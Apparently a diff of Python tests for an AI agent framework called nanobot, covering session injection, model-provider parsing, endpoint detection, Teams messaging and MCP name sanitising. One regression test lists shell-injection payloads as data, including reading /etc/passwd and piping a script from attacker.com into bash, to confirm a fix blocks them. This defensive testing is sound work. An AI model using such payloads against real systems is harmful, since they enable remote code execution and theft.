jobs = tool._cron.list_jobs()
|
||||
assert len(jobs) == 1
|
||||
assert jobs[0].payload.channel_meta == meta
|
||||
assert jobs[0].payload.session_key == "slack:C99:111.222"
|
||||
|
||||
|
||||
def test_list_excludes_disabled_jobs(tmp_path) -> None:
|
||||
tool = _make_tool(tmp_path)
|
||||
job = tool._cron.add_job(
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
"""Tests for heartbeat context bridge — injecting delivered messages into channel session."""
|
||||
|
||||
from nanobot.session.manager import SessionManager
|
||||
|
||||
|
||||
class TestHeartbeatContextBridge:
|
||||
"""Verify that on_heartbeat_notify injects the assistant message into the
|
||||
channel session so user replies have conversational context."""
|
||||
|
||||
def test_notify_injects_into_channel_session(self, tmp_path):
|
||||
"""After notify, the target channel session should contain the
|
||||
heartbeat response as an assistant turn."""
|
||||
session_mgr = SessionManager(tmp_path / "sessions")
|
||||
target_key = "telegram:12345"
|
||||
|
||||
# Simulate: session exists with one user message
|
||||
target_session = session_mgr.get_or_create(target_key)
|
||||
target_session.add_message("user", "hello earlier")
|
||||
session_mgr.save(target_session)
|
||||
|
||||
# Simulate what on_heartbeat_notify does
|
||||
target_session = session_mgr.get_or_create(target_key)
|
||||
target_session.add_message(
|
||||
"assistant",
|
||||
"3 new emails — invoice, meeting, proposal.",
|
||||
_channel_delivery=True,
|
||||
)
|
||||
session_mgr.save(target_session)
|
||||
|
||||
# Reload and verify
|
||||
reloaded = session_mgr.get_or_create(target_key)
|
||||
messages = reloaded.get_history(max_messages=0)
|
||||
roles = [m["role"] for m in messages]
|
||||
assert roles == ["user", "assistant"]
|
||||
assert "3 new emails" in messages[-1]["content"]
|
||||
|
||||
def test_reply_after_injection_has_context(self, tmp_path):
|
||||
"""Simulates the full flow: prior conversation exists, heartbeat
|
||||
injects, then user replies. The session should have the heartbeat
|
||||
message visible in get_history so the model sees the context."""
|
||||
session_mgr = SessionManager(tmp_path / "sessions")
|
||||
target_key = "telegram:12345"
|
||||
|
||||
# Pre-existing conversation (user has chatted before)
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message("user", "Hey")
|
||||
session.add_message("assistant", "Hi there!")
|
||||
session_mgr.save(session)
|
||||
|
||||
# Step 1: heartbeat injects assistant message
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message(
|
||||
"assistant",
|
||||
"If you want, I can mark that email as read.",
|
||||
_channel_delivery=True,
|
||||
)
|
||||
session_mgr.save(session)
|
||||
|
||||
# Step 2: user replies "Sure"
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message("user", "Sure")
|
||||
session_mgr.save(session)
|
||||
|
||||
# Verify: get_history includes the heartbeat injection
|
||||
reloaded = session_mgr.get_or_create(target_key)
|
||||
history = reloaded.get_history(max_messages=0)
|
||||
roles = [m["role"] for m in history]
|
||||
assert roles == ["user", "assistant", "assistant", "user"]
|
||||
assert "mark that email" in history[2]["content"]
|
||||
assert history[3]["content"] == "Sure"
|
||||
|
||||
def test_injection_does_not_duplicate_on_existing_history(self, tmp_path):
|
||||
"""If the channel session already has messages, the injection
|
||||
appends cleanly without corruption."""
|
||||
session_mgr = SessionManager(tmp_path / "sessions")
|
||||
target_key = "telegram:12345"
|
||||
|
||||
# Pre-existing conversation
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message("user", "What time is it?")
|
||||
session.add_message("assistant", "It's 2pm.")
|
||||
session.add_message("user", "Thanks")
|
||||
session_mgr.save(session)
|
||||
|
||||
# Heartbeat injects
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message(
|
||||
"assistant",
|
||||
"You have a meeting in 30 minutes.",
|
||||
_channel_delivery=True,
|
||||
)
|
||||
session_mgr.save(session)
|
||||
|
||||
# Verify
|
||||
reloaded = session_mgr.get_or_create(target_key)
|
||||
history = reloaded.get_history(max_messages=0)
|
||||
roles = [m["role"] for m in history]
|
||||
assert roles == ["user", "assistant", "user", "assistant"]
|
||||
assert "meeting in 30 minutes" in history[-1]["content"]
|
||||
|
||||
def test_reply_after_injection_to_empty_session_keeps_context(self, tmp_path):
|
||||
"""A user replying to the first delivered message still sees that context."""
|
||||
session_mgr = SessionManager(tmp_path / "sessions")
|
||||
target_key = "telegram:99999"
|
||||
|
||||
session = session_mgr.get_or_create(target_key)
|
||||
session.add_message(
|
||||
"assistant",
|
||||
"Weather alert: sandstorm expected at 4pm.",
|
||||
_channel_delivery=True,
|
||||
)
|
||||
session.add_message("user", "Sure")
|
||||
session_mgr.save(session)
|
||||
|
||||
reloaded = session_mgr.get_or_create(target_key)
|
||||
history = reloaded.get_history(max_messages=0)
|
||||
assert len(history) == 2
|
||||
assert history[0]["role"] == "assistant"
|
||||
assert "sandstorm" in history[0]["content"]
|
||||
assert history[1] == {"role": "user", "content": "Sure"}
|
||||
@@ -585,6 +585,81 @@ def test_openai_compat_preserves_message_level_reasoning_fields() -> None:
|
||||
assert sanitized[1]["tool_calls"][0]["extra_content"] == {"google": {"thought_signature": "sig"}}
|
||||
|
||||
|
||||
def _deepseek_kwargs(messages: list[dict]) -> dict:
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider(
|
||||
api_key="sk-test",
|
||||
default_model="deepseek-v4-flash",
|
||||
spec=find_by_name("deepseek"),
|
||||
)
|
||||
|
||||
return provider._build_kwargs(
|
||||
messages=messages,
|
||||
tools=None,
|
||||
model="deepseek-v4-flash",
|
||||
max_tokens=1024,
|
||||
temperature=0.7,
|
||||
reasoning_effort="high",
|
||||
tool_choice=None,
|
||||
)
|
||||
|
||||
|
||||
def _tool_call(call_id: str) -> dict:
|
||||
return {
|
||||
"id": call_id,
|
||||
"type": "function",
|
||||
"function": {"name": "my", "arguments": "{}"},
|
||||
}
|
||||
|
||||
|
||||
def test_deepseek_thinking_drops_tool_history_missing_reasoning_content() -> None:
|
||||
kwargs = _deepseek_kwargs([
|
||||
{"role": "system", "content": "system"},
|
||||
{"role": "user", "content": "can we use wechat?"},
|
||||
{"role": "assistant", "content": "", "tool_calls": [_tool_call("call_bad")]},
|
||||
{"role": "tool", "tool_call_id": "call_bad", "name": "my", "content": "channels"},
|
||||
{"role": "user", "content": "continue"},
|
||||
])
|
||||
|
||||
assert kwargs["messages"] == [
|
||||
{"role": "system", "content": "system"},
|
||||
{"role": "user", "content": "continue"},
|
||||
]
|
||||
|
||||
|
||||
def test_deepseek_thinking_keeps_tool_history_with_reasoning_content() -> None:
|
||||
kwargs = _deepseek_kwargs([
|
||||
{"role": "user", "content": "can we use wechat?"},
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": "",
|
||||
"reasoning_content": "I should inspect supported channels.",
|
||||
"tool_calls": [_tool_call("call_good")],
|
||||
},
|
||||
{"role": "tool", "tool_call_id": "call_good", "name": "my", "content": "channels"},
|
||||
{"role": "user", "content": "continue"},
|
||||
])
|
||||
|
||||
assistant = kwargs["messages"][1]
|
||||
assert assistant["role"] == "assistant"
|
||||
assert assistant["reasoning_content"] == "I should inspect supported channels."
|
||||
assert kwargs["messages"][2]["role"] == "tool"
|
||||
|
||||
|
||||
def test_deepseek_thinking_drops_current_bad_tool_turn_without_followup_user() -> None:
|
||||
kwargs = _deepseek_kwargs([
|
||||
{"role": "system", "content": "system"},
|
||||
{"role": "user", "content": "can we use wechat?"},
|
||||
{"role": "assistant", "content": "", "tool_calls": [_tool_call("call_bad")]},
|
||||
{"role": "tool", "tool_call_id": "call_bad", "name": "my", "content": "channels"},
|
||||
])
|
||||
|
||||
assert kwargs["messages"] == [
|
||||
{"role": "system", "content": "system"},
|
||||
{"role": "user", "content": "can we use wechat?"},
|
||||
]
|
||||
|
||||
|
||||
def test_openai_compat_keeps_tool_calls_after_consecutive_assistant_messages() -> None:
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
|
||||
@@ -0,0 +1,118 @@
|
||||
"""Tests for _is_local_endpoint detection and keepalive configuration."""
|
||||
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
from nanobot.providers.openai_compat_provider import (
|
||||
OpenAICompatProvider,
|
||||
_is_local_endpoint,
|
||||
)
|
||||
|
||||
|
||||
def _make_spec(is_local: bool = False) -> MagicMock:
|
||||
spec = MagicMock()
|
||||
spec.is_local = is_local
|
||||
return spec
|
||||
|
||||
|
||||
class TestIsLocalEndpoint:
|
||||
"""Test the _is_local_endpoint helper."""
|
||||
|
||||
def test_spec_is_local_true(self):
|
||||
assert _is_local_endpoint(_make_spec(is_local=True), None) is True
|
||||
|
||||
def test_spec_is_local_false_no_base(self):
|
||||
assert _is_local_endpoint(_make_spec(is_local=False), None) is False
|
||||
|
||||
def test_no_spec_no_base(self):
|
||||
assert _is_local_endpoint(None, None) is False
|
||||
|
||||
def test_localhost(self):
|
||||
assert _is_local_endpoint(None, "http://localhost:1234/v1") is True
|
||||
|
||||
def test_localhost_https(self):
|
||||
assert _is_local_endpoint(None, "https://localhost:8080/v1") is True
|
||||
|
||||
def test_loopback_127(self):
|
||||
assert _is_local_endpoint(None, "http://127.0.0.1:11434/v1") is True
|
||||
|
||||
def test_private_192_168(self):
|
||||
assert _is_local_endpoint(None, "http://192.168.8.188:1234/v1") is True
|
||||
|
||||
def test_private_10(self):
|
||||
assert _is_local_endpoint(None, "http://10.0.0.5:8000/v1") is True
|
||||
|
||||
def test_private_172_16(self):
|
||||
assert _is_local_endpoint(None, "http://172.16.0.1:1234/v1") is True
|
||||
|
||||
def test_private_172_31(self):
|
||||
assert _is_local_endpoint(None, "http://172.31.255.255:1234/v1") is True
|
||||
|
||||
def test_not_private_172_32(self):
|
||||
assert _is_local_endpoint(None, "http://172.32.0.1:1234/v1") is False
|
||||
|
||||
def test_docker_internal(self):
|
||||
assert _is_local_endpoint(None, "http://host.docker.internal:11434/v1") is True
|
||||
|
||||
def test_ipv6_loopback(self):
|
||||
assert _is_local_endpoint(None, "http://[::1]:1234/v1") is True
|
||||
|
||||
def test_public_api(self):
|
||||
assert _is_local_endpoint(None, "https://api.openai.com/v1") is False
|
||||
|
||||
def test_openrouter(self):
|
||||
assert _is_local_endpoint(None, "https://openrouter.ai/api/v1") is False
|
||||
|
||||
def test_spec_overrides_public_url(self):
|
||||
"""spec.is_local=True takes precedence even with a public-looking URL."""
|
||||
assert _is_local_endpoint(_make_spec(is_local=True), "https://api.example.com/v1") is True
|
||||
|
||||
def test_case_insensitive(self):
|
||||
assert _is_local_endpoint(None, "http://LOCALHOST:1234/v1") is True
|
||||
|
||||
def test_trailing_slash(self):
|
||||
assert _is_local_endpoint(None, "http://192.168.1.1:8080/v1/") is True
|
||||
|
||||
def test_public_hostname_containing_localhost_is_not_local(self):
|
||||
assert _is_local_endpoint(None, "https://notlocalhost.example/v1") is False
|
||||
|
||||
def test_public_hostname_containing_private_ip_prefix_is_not_local(self):
|
||||
assert _is_local_endpoint(None, "https://api10.example.com/v1") is False
|
||||
|
||||
def test_url_without_scheme(self):
|
||||
assert _is_local_endpoint(None, "192.168.1.1:8080/v1") is True
|
||||
|
||||
|
||||
class TestLocalKeepaliveConfig:
|
||||
"""Verify that local endpoints get keepalive_expiry=0."""
|
||||
|
||||
def test_local_spec_disables_keepalive(self):
|
||||
spec = _make_spec(is_local=True)
|
||||
spec.env_key = ""
|
||||
spec.default_api_base = "http://localhost:11434/v1"
|
||||
provider = OpenAICompatProvider(
|
||||
api_key="test", api_base="http://localhost:11434/v1", spec=spec,
|
||||
)
|
||||
pool = provider._client._client._transport._pool
|
||||
assert pool._keepalive_expiry == 0
|
||||
|
||||
def test_lan_ip_disables_keepalive(self):
|
||||
"""A generic 'openai' spec with a LAN IP should still disable keepalive."""
|
||||
spec = _make_spec(is_local=False)
|
||||
spec.env_key = ""
|
||||
spec.default_api_base = None
|
||||
provider = OpenAICompatProvider(
|
||||
api_key="test", api_base="http://192.168.8.188:1234/v1", spec=spec,
|
||||
)
|
||||
pool = provider._client._client._transport._pool
|
||||
assert pool._keepalive_expiry == 0
|
||||
|
||||
def test_cloud_keeps_default_keepalive(self):
|
||||
spec = _make_spec(is_local=False)
|
||||
spec.env_key = ""
|
||||
spec.default_api_base = "https://api.openai.com/v1"
|
||||
provider = OpenAICompatProvider(
|
||||
api_key="test", api_base=None, spec=spec,
|
||||
)
|
||||
pool = provider._client._client._transport._pool
|
||||
# Default httpx keepalive is 5.0s
|
||||
assert pool._keepalive_expiry == 5.0
|
||||
@@ -9,6 +9,17 @@ from types import SimpleNamespace
|
||||
from unittest.mock import patch
|
||||
|
||||
from nanobot.providers.openai_compat_provider import OpenAICompatProvider
|
||||
from nanobot.providers.registry import ProviderSpec
|
||||
|
||||
_STEPFUN_SPEC = ProviderSpec(
|
||||
name="stepfun",
|
||||
keywords=("stepfun", "step"),
|
||||
env_key="STEPFUN_API_KEY",
|
||||
display_name="Step Fun",
|
||||
backend="openai_compat",
|
||||
default_api_base="https://api.stepfun.com/v1",
|
||||
reasoning_as_content=True,
|
||||
)
|
||||
|
||||
|
||||
# ── _parse: dict branch ─────────────────────────────────────────────────────
|
||||
@@ -17,7 +28,7 @@ from nanobot.providers.openai_compat_provider import OpenAICompatProvider
|
||||
def test_parse_dict_stepfun_reasoning_fallback() -> None:
|
||||
"""When content is None and reasoning exists, content falls back to reasoning."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
|
||||
|
||||
response = {
|
||||
"choices": [{
|
||||
@@ -39,7 +50,7 @@ def test_parse_dict_stepfun_reasoning_fallback() -> None:
|
||||
def test_parse_dict_stepfun_reasoning_priority() -> None:
|
||||
"""reasoning_content field takes priority over reasoning when both present."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
|
||||
|
||||
response = {
|
||||
"choices": [{
|
||||
@@ -75,7 +86,7 @@ def _make_sdk_message(content, reasoning=None, reasoning_content=None):
|
||||
def test_parse_sdk_stepfun_reasoning_fallback() -> None:
|
||||
"""SDK branch: content falls back to msg.reasoning when content is None."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
|
||||
|
||||
msg = _make_sdk_message(content=None, reasoning="After analysis: result is 4.")
|
||||
choice = SimpleNamespace(finish_reason="stop", message=msg)
|
||||
@@ -90,7 +101,7 @@ def test_parse_sdk_stepfun_reasoning_fallback() -> None:
|
||||
def test_parse_sdk_stepfun_reasoning_priority() -> None:
|
||||
"""reasoning_content field takes priority over reasoning in SDK branch."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
provider = OpenAICompatProvider(spec=_STEPFUN_SPEC)
|
||||
|
||||
msg = _make_sdk_message(
|
||||
content=None,
|
||||
@@ -244,3 +255,44 @@ def test_parse_chunks_sdk_reasoning_precedence() -> None:
|
||||
result = OpenAICompatProvider._parse_chunks(chunks)
|
||||
|
||||
assert result.reasoning_content == "formal: "
|
||||
|
||||
|
||||
# ── Regression: non-StepFun providers must NOT promote reasoning to content ─
|
||||
|
||||
|
||||
def test_parse_dict_non_stepfun_no_reasoning_as_content() -> None:
|
||||
"""Providers without reasoning_as_content flag must not treat reasoning as content."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
|
||||
response = {
|
||||
"choices": [{
|
||||
"message": {
|
||||
"content": None,
|
||||
"reasoning": "internal thought process that should NOT be shown to user",
|
||||
},
|
||||
"finish_reason": "stop",
|
||||
}],
|
||||
}
|
||||
|
||||
result = provider._parse(response)
|
||||
|
||||
# content stays None — reasoning is NOT promoted
|
||||
assert result.content is None
|
||||
# reasoning still goes to reasoning_content for display as thinking
|
||||
assert result.reasoning_content == "internal thought process that should NOT be shown to user"
|
||||
|
||||
|
||||
def test_parse_sdk_non_stepfun_no_reasoning_as_content() -> None:
|
||||
"""SDK branch: providers without flag must not treat reasoning as content."""
|
||||
with patch("nanobot.providers.openai_compat_provider.AsyncOpenAI"):
|
||||
provider = OpenAICompatProvider()
|
||||
|
||||
msg = _make_sdk_message(content=None, reasoning="internal monologue")
|
||||
choice = SimpleNamespace(finish_reason="stop", message=msg)
|
||||
response = SimpleNamespace(choices=[choice], usage=None)
|
||||
|
||||
result = provider._parse(response)
|
||||
|
||||
assert result.content is None
|
||||
assert result.reasoning_content == "internal monologue"
|
||||
|
||||
+46
-2
@@ -1,4 +1,5 @@
|
||||
import json
|
||||
import time
|
||||
|
||||
import pytest
|
||||
|
||||
@@ -512,6 +513,17 @@ def test_sanitize_inbound_text_keeps_normal_inline_message(make_channel):
|
||||
assert ch._sanitize_inbound_text(activity) == "normal inline message"
|
||||
|
||||
|
||||
def test_sanitize_inbound_text_normalizes_nbsp_entities(make_channel):
|
||||
ch = make_channel()
|
||||
|
||||
activity = {
|
||||
"text": "Hello from Teams",
|
||||
"channelData": {},
|
||||
}
|
||||
|
||||
assert ch._sanitize_inbound_text(activity) == "Hello from Teams"
|
||||
|
||||
|
||||
def test_sanitize_inbound_text_normalizes_reply_wrapper_without_reply_metadata(make_channel):
|
||||
ch = make_channel()
|
||||
|
||||
@@ -623,7 +635,7 @@ async def test_get_access_token_uses_configured_tenant(make_channel):
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_replies_to_activity_when_reply_in_thread_enabled(make_channel):
|
||||
async def test_send_posts_to_conversation_with_reply_to_id_when_reply_in_thread_enabled(make_channel):
|
||||
ch = make_channel(replyInThread=True)
|
||||
fake_http = FakeHttpClient()
|
||||
ch._http = fake_http
|
||||
@@ -639,7 +651,7 @@ async def test_send_replies_to_activity_when_reply_in_thread_enabled(make_channe
|
||||
|
||||
assert len(fake_http.calls) == 1
|
||||
url, kwargs = fake_http.calls[0]
|
||||
assert url == "https://smba.trafficmanager.net/amer/v3/conversations/conv-123/activities/activity-1"
|
||||
assert url == "https://smba.trafficmanager.net/amer/v3/conversations/conv-123/activities"
|
||||
assert kwargs["headers"]["Authorization"] == "Bearer tok"
|
||||
assert kwargs["json"]["text"] == "Reply text"
|
||||
assert kwargs["json"]["replyToId"] == "activity-1"
|
||||
@@ -830,6 +842,38 @@ async def test_start_logs_install_hint_when_pyjwt_missing(make_channel, monkeypa
|
||||
assert errors == ["PyJWT not installed. Run: pip install nanobot-ai[msteams]"]
|
||||
|
||||
|
||||
def test_save_refs_prunes_webchat_and_stale_refs(make_channel):
|
||||
ch = make_channel()
|
||||
now = time.time()
|
||||
ch._conversation_refs = {
|
||||
"teams-good": ConversationRef(
|
||||
service_url="https://smba.trafficmanager.net/amer/",
|
||||
conversation_id="teams-good",
|
||||
conversation_type="personal",
|
||||
updated_at=now,
|
||||
),
|
||||
"webchat-bad": ConversationRef(
|
||||
service_url="https://webchat.botframework.com/",
|
||||
conversation_id="webchat-bad",
|
||||
conversation_type=None,
|
||||
updated_at=now,
|
||||
),
|
||||
"teams-stale": ConversationRef(
|
||||
service_url="https://smba.trafficmanager.net/amer/",
|
||||
conversation_id="teams-stale",
|
||||
conversation_type="personal",
|
||||
updated_at=now - (31 * 24 * 60 * 60),
|
||||
),
|
||||
}
|
||||
|
||||
ch._save_refs()
|
||||
|
||||
assert set(ch._conversation_refs) == {"teams-good"}
|
||||
saved = json.loads(ch._refs_path.read_text(encoding="utf-8"))
|
||||
assert set(saved) == {"teams-good"}
|
||||
assert saved["teams-good"]["updated_at"] == pytest.approx(now)
|
||||
|
||||
|
||||
def test_msteams_default_config_includes_restart_notify_fields():
|
||||
cfg = MSTeamsChannel.default_config()
|
||||
|
||||
|
||||
@@ -74,3 +74,75 @@ async def test_exec_allowed_env_keys_missing_var_ignored(monkeypatch):
|
||||
tool = ExecTool(allowed_env_keys=["NONEXISTENT_VAR_12345"])
|
||||
result = await tool.execute(command="printenv NONEXISTENT_VAR_12345")
|
||||
assert "Exit code: 1" in result
|
||||
|
||||
|
||||
# --- path_append injection prevention ------------------------------------
|
||||
|
||||
|
||||
@_UNIX_ONLY
|
||||
@pytest.mark.asyncio
|
||||
@pytest.mark.parametrize(
|
||||
"malicious_path",
|
||||
[
|
||||
# semicolon — classic command separator
|
||||
'/tmp/bin; echo INJECTED',
|
||||
# command substitution via $()
|
||||
'/tmp/bin; echo $(whoami)',
|
||||
# backtick command substitution
|
||||
"/tmp/bin; echo `id`",
|
||||
# pipe to another command
|
||||
'/tmp/bin; cat /etc/passwd',
|
||||
# chained with &&
|
||||
'/tmp/bin && curl http://attacker.com/shell.sh | bash',
|
||||
# newline injection
|
||||
'/tmp/bin\necho INJECTED',
|
||||
# mixed shell metacharacters
|
||||
'/tmp/bin; rm -rf /tmp/test_inject_marker; echo CLEANED',
|
||||
],
|
||||
)
|
||||
async def test_exec_path_append_shell_metacharacters_not_executed(malicious_path, tmp_path):
|
||||
"""Shell metacharacters in path_append must NOT be interpreted as commands.
|
||||
|
||||
Regression test for: path_append was previously concatenated into a shell
|
||||
command string via f'export PATH="$PATH:{path_append}"; {command}', which
|
||||
allowed shell injection. After the fix, path_append is passed through the
|
||||
env dict so metacharacters are treated as literal path characters.
|
||||
"""
|
||||
tool = ExecTool(path_append=malicious_path)
|
||||
result = await tool.execute(command="echo SAFE_OUTPUT")
|
||||
|
||||
# The original command should succeed
|
||||
assert "SAFE_OUTPUT" in result
|
||||
|
||||
# None of the injected payloads should have produced side-effects
|
||||
assert "INJECTED" not in result
|
||||
assert "root:" not in result # /etc/passwd content
|
||||
|
||||
|
||||
@_UNIX_ONLY
|
||||
@pytest.mark.asyncio
|
||||
async def test_exec_path_append_command_substitution_does_not_execute(tmp_path):
|
||||
"""$() in path_append must not trigger command substitution.
|
||||
|
||||
We create a marker file and try to read it via $(cat ...). If command
|
||||
substitution works, the marker content appears in output.
|
||||
"""
|
||||
marker = tmp_path / "secret_marker.txt"
|
||||
marker.write_text("SHOULD_NOT_APPEAR")
|
||||
|
||||
tool = ExecTool(
|
||||
path_append=f'/tmp/bin; echo $(cat {marker})',
|
||||
)
|
||||
result = await tool.execute(command="echo OK")
|
||||
|
||||
assert "OK" in result
|
||||
assert "SHOULD_NOT_APPEAR" not in result
|
||||
|
||||
|
||||
@_UNIX_ONLY
|
||||
@pytest.mark.asyncio
|
||||
async def test_exec_path_append_legitimate_path_still_works():
|
||||
"""A normal, safe path_append value must still be appended to PATH."""
|
||||
tool = ExecTool(path_append="/opt/custom/bin")
|
||||
result = await tool.execute(command="echo $PATH")
|
||||
assert "/opt/custom/bin" in result
|
||||
|
||||
@@ -148,23 +148,33 @@ class TestSpawnWindows:
|
||||
class TestPathAppendPlatform:
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_unix_injects_export(self):
|
||||
"""On Unix, path_append is an export statement prepended to command."""
|
||||
async def test_unix_uses_env_var_in_fixed_export(self):
|
||||
"""On Unix, path_append must not be interpolated into shell source."""
|
||||
mock_proc = AsyncMock()
|
||||
mock_proc.communicate.return_value = (b"ok", b"")
|
||||
mock_proc.returncode = 0
|
||||
|
||||
captured_cmd = None
|
||||
captured_env = {}
|
||||
|
||||
async def capture_spawn(cmd, cwd, env):
|
||||
nonlocal captured_cmd
|
||||
captured_cmd = cmd
|
||||
captured_env.update(env)
|
||||
return mock_proc
|
||||
|
||||
with (
|
||||
patch("nanobot.agent.tools.shell._IS_WINDOWS", False),
|
||||
patch.object(ExecTool, "_spawn", return_value=mock_proc) as mock_spawn,
|
||||
patch("nanobot.agent.tools.shell.os.pathsep", ":"),
|
||||
patch.object(ExecTool, "_spawn", side_effect=capture_spawn),
|
||||
patch.object(ExecTool, "_guard_command", return_value=None),
|
||||
):
|
||||
tool = ExecTool(path_append="/opt/bin")
|
||||
tool = ExecTool(path_append="/opt/bin; echo INJECTED")
|
||||
await tool.execute(command="ls")
|
||||
|
||||
spawned_cmd = mock_spawn.call_args[0][0]
|
||||
assert 'export PATH="$PATH:/opt/bin"' in spawned_cmd
|
||||
assert spawned_cmd.endswith("ls")
|
||||
assert captured_cmd == 'export PATH="$PATH:$NANOBOT_PATH_APPEND"; ls'
|
||||
assert captured_env["NANOBOT_PATH_APPEND"] == "/opt/bin; echo INJECTED"
|
||||
assert "INJECTED" not in captured_cmd
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_windows_modifies_env(self):
|
||||
@@ -181,6 +191,7 @@ class TestPathAppendPlatform:
|
||||
|
||||
with (
|
||||
patch("nanobot.agent.tools.shell._IS_WINDOWS", True),
|
||||
patch("nanobot.agent.tools.shell.os.pathsep", ";"),
|
||||
patch.object(ExecTool, "_spawn", side_effect=capture_spawn),
|
||||
patch.object(ExecTool, "_guard_command", return_value=None),
|
||||
):
|
||||
|
||||
@@ -13,6 +13,7 @@ from nanobot.agent.tools.mcp import (
|
||||
MCPResourceWrapper,
|
||||
MCPToolWrapper,
|
||||
_normalize_windows_stdio_command,
|
||||
_sanitize_name,
|
||||
connect_mcp_servers,
|
||||
)
|
||||
from nanobot.agent.tools.registry import ToolRegistry
|
||||
@@ -798,3 +799,114 @@ async def test_connect_registers_resources_and_prompts(
|
||||
assert "mcp_test_tool_a" in registry.tool_names
|
||||
assert "mcp_test_resource_res_b" in registry.tool_names
|
||||
assert "mcp_test_prompt_prompt_c" in registry.tool_names
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# _sanitize_name tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_sanitize_name_replaces_spaces() -> None:
|
||||
assert _sanitize_name("PostgreSQL System Information") == "PostgreSQL_System_Information"
|
||||
|
||||
|
||||
def test_sanitize_name_replaces_special_characters() -> None:
|
||||
assert _sanitize_name("foo.bar@baz!") == "foo_bar_baz_"
|
||||
|
||||
|
||||
def test_sanitize_name_collapses_consecutive_underscores() -> None:
|
||||
assert _sanitize_name("a b") == "a_b"
|
||||
|
||||
|
||||
def test_sanitize_name_preserves_valid_characters() -> None:
|
||||
assert _sanitize_name("my-tool_v2") == "my-tool_v2"
|
||||
|
||||
|
||||
def test_sanitize_name_noop_for_already_clean_names() -> None:
|
||||
assert _sanitize_name("mcp_server_tool") == "mcp_server_tool"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Wrapper sanitization tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_tool_wrapper_sanitizes_name() -> None:
|
||||
tool_def = SimpleNamespace(
|
||||
name="My Tool",
|
||||
description="tool with spaces",
|
||||
inputSchema={"type": "object", "properties": {}},
|
||||
)
|
||||
wrapper = MCPToolWrapper(SimpleNamespace(call_tool=None), "srv", tool_def)
|
||||
assert wrapper.name == "mcp_srv_My_Tool"
|
||||
|
||||
|
||||
def test_resource_wrapper_sanitizes_name() -> None:
|
||||
resource_def = SimpleNamespace(
|
||||
name="PostgreSQL System Information",
|
||||
uri="file:///pg/info",
|
||||
description="PG info",
|
||||
)
|
||||
wrapper = MCPResourceWrapper(None, "srv", resource_def)
|
||||
assert wrapper.name == "mcp_srv_resource_PostgreSQL_System_Information"
|
||||
|
||||
|
||||
def test_prompt_wrapper_sanitizes_name() -> None:
|
||||
prompt_def = SimpleNamespace(
|
||||
name="design-schema",
|
||||
description="Design schema",
|
||||
arguments=None,
|
||||
)
|
||||
# Hyphens are allowed, so this should pass through unchanged
|
||||
wrapper = MCPPromptWrapper(None, "my server", prompt_def)
|
||||
assert wrapper.name == "mcp_my_server_prompt_design-schema"
|
||||
|
||||
|
||||
def test_tool_wrapper_preserves_original_name_for_mcp_call() -> None:
|
||||
tool_def = SimpleNamespace(
|
||||
name="My Tool",
|
||||
description="tool with spaces",
|
||||
inputSchema={"type": "object", "properties": {}},
|
||||
)
|
||||
wrapper = MCPToolWrapper(SimpleNamespace(call_tool=None), "srv", tool_def)
|
||||
# The sanitized API-facing name differs from the original MCP name
|
||||
assert wrapper.name == "mcp_srv_My_Tool"
|
||||
assert wrapper._original_name == "My Tool"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_connect_mcp_servers_sanitizes_resource_names(
|
||||
fake_mcp_runtime: dict[str, object | None],
|
||||
) -> None:
|
||||
fake_mcp_runtime["session"] = _make_fake_session_with_capabilities(
|
||||
tool_names=[],
|
||||
resource_names=["PostgreSQL System Information"],
|
||||
prompt_names=[],
|
||||
)
|
||||
registry = ToolRegistry()
|
||||
stacks = await connect_mcp_servers(
|
||||
{"test": MCPServerConfig(command="fake")},
|
||||
registry,
|
||||
)
|
||||
for stack in stacks.values():
|
||||
await stack.aclose()
|
||||
|
||||
assert "mcp_test_resource_PostgreSQL_System_Information" in registry.tool_names
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_connect_mcp_servers_enabled_tools_matches_sanitized_name(
|
||||
fake_mcp_runtime: dict[str, object | None],
|
||||
) -> None:
|
||||
fake_mcp_runtime["session"] = _make_fake_session_with_capabilities(
|
||||
tool_names=["My Tool", "other"],
|
||||
)
|
||||
registry = ToolRegistry()
|
||||
stacks = await connect_mcp_servers(
|
||||
{"test": MCPServerConfig(command="fake", enabled_tools=["mcp_test_My_Tool"])},
|
||||
registry,
|
||||
)
|
||||
for stack in stacks.values():
|
||||
await stack.aclose()
|
||||
|
||||
assert registry.tool_names == ["mcp_test_My_Tool"]
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
import os
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.agent.tools.message import MessageTool
|
